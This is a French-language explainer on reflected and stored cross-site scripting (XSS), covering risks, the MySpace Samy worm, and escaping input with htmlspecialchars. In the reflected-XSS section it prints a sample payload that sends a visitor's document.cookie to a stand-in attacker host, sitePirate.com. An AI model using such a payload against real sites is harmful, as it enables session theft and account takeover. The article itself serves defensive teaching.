Faille XSS ou le Cross Site Scripting

Faille XSS ou le Cross Site Scripting

Le Cross Site Scripting est une des failles les plus dangereuses pour votre site internet mais c'est aussi une des vulnérabilités parmi les plus populaires de l'internet.
Cette faille peut se présenter de deux manières différentes.
Les conséquences et les moyens de s'en protéger sont cependant les mêmes:

Nous allons traiter ici ces deux "familles de failles XSS", dans un premier temps le XSS qualifié de réfléchi puis dans un second point, le XSS stocké.

Deux types d'attaques :

XSS Réfléchi (non permanent) : le plus commun.

Comment ça fonctionne ?

Pour faire simple, l'attaque XSS réfléchie consiste à mettre à disposition de visiteurs des adresses de sites internet modifiées.
Par le moyen de réseaux sociaux, de mails ... un pirate va vous communiquer un mail d'un site "classique" auquel il aura ajouté des informations qui lui permettront d'arriver à ses fins.

Quels sont les risques ?

Toute personne qui cliquerait sur ce lien vulnérable exécuterait alors le code injecté par le pirate directement sur son navigateur.
Le site peut dans ce cas apparaître comme "défacé" (il affiche un contenu non-désiré, des textes de propagandes, du contenu ostentatoire...).
Le pirate peut aussi au travers de son code, récupérer des données sur l'utilisateur telles que ses données de session qui lui ont permis de s'authentifier sur votre site (si un membre de votre site clique sur le lien, le pirate pourrait ensuite se faire passer pour ce même membre).

Comment s'en protéger ?

En temps que WebMaster, il faut empêcher "votre code" de lire directement le contenu de vos URL.
Pour exemple, si votre site affiche une variable $_GET dans le texte : $_GET['prenom'] par exemple, votre site aura une URL telle que http://monSite.com/index.php?prenom=Bob.
Si vous affichait la variable $_GET['prenom'], vous aurez alors affiché Bob.
Si le pirate remplace Bob par <script>alert('coucou')</script>, le code JavaScript sera alors exécuté sur votre site.
Votre site ne rendra pas le service initialement prévu et affichera dans ce cas une popup au visiteur :

xss


Plus "grave", si l'utilisateur est connecté sur monSite.com et qu'il clique sur :
http://monSite.com/index.php?prénom=<script>document.location="http://sitePirate.com/cookie.php?cookie="document.cookie</script>, le pirate pourra alors récupérer des informations sur l'utilisateur telles que son cookie de session. Une fois cette information obtenue, en remplacant son cookie par celui usurpé, le pirate pourra alors prétendre aux mêmes droits que l'utilisateur piégé (s'il s'agissait de l'administrateur d'un forum, le pirate peut récupérer ce rôle). La solution la plus simple est donc de ne jamais utiliser directement les variables $_GET mais de toujours les protéger avec la fonction htmlspecialchars($_GET['maVariable'])) dans le cas de code en PHP. Cette fonction remplace tous les symboles par leurs équivalents HTML : "<" devient alors "&lt;".
Cela rendra le code du pirate innofensif une fois exécuté par votre navigateur.

En temps qu'utilisateur, les protections à prendre sont les mêmes que pour du "Phishing" : ne cliquez pas sur des liens dont vous ne connaissez pas la provenance.
Vérifiez les liens qui vous sont envoyés via votre moteur de recherche favori, pensez toujours à vous déconnecter de votre "espace membre" lorsque vous quittez un site sur lequel vous êtes inscrit.

XSS Stockée (permanent) : message sur blog / forum.

Comment ça fonctionne ?

Un site internet est vulnérable au XSS stocké s'il est possible d'y insérer du contenu inapproprié, qui pourra ensuite être exécuté par les navigateurs des visiteurs.
Ce contenu, à la différence du XSS réfléchi, n'est pas renseigné dans l'adresse du site internet mais directement dans son contenu.
Comment est-ce possible? Simplement en insérant du code malveillant en base de données (lorsque le pirate laisse un commentaire sur un site mal sécurisé par exemple).

Quels sont les risques ?

Toute personne qui afficherait cette page exécuterait alors le code depuis son navigateur. Comme pour le XSS réfléchi, l'impact dépendra du code injecté par le pirate (dans le meilleur des cas, une simple altération visuelle du site, jusqu'au vol de votre identité sur ce site).

Comment s'en protéger ?

En temps que WebMaster, la solution est la même que pour le XSS réfléchi et consiste à protéger l'interprétation des variables : htmlspecialchars($_GET['maVariable'])).
Si un utilisateur peut publier des commentaires sur votre site, vous devez, avant de les insérer en base, vous assurer qu'ils ne contiennent aucun code malveillant.
En temps qu'utilisateur, la seule vraie alternative reste assez contraignante et consiste à empêcher l'exécution de code côté client (en désactivant JavaScript sur votre navigateur pour exemple).

Quelques infos complémentaires

La faille XSS existe depuis les années 2000.
L'exemple le plus célèbre lié à sa mise en oeuvre date de 2005, le hacker Samy Kamkar exploita une faille du réseau social MySpace qui lui permit d'obtenir plus d'un million d'amis en seulement une vingtaine d'heures.


Une question, un besoin ?

Nous sommes à votre écoute !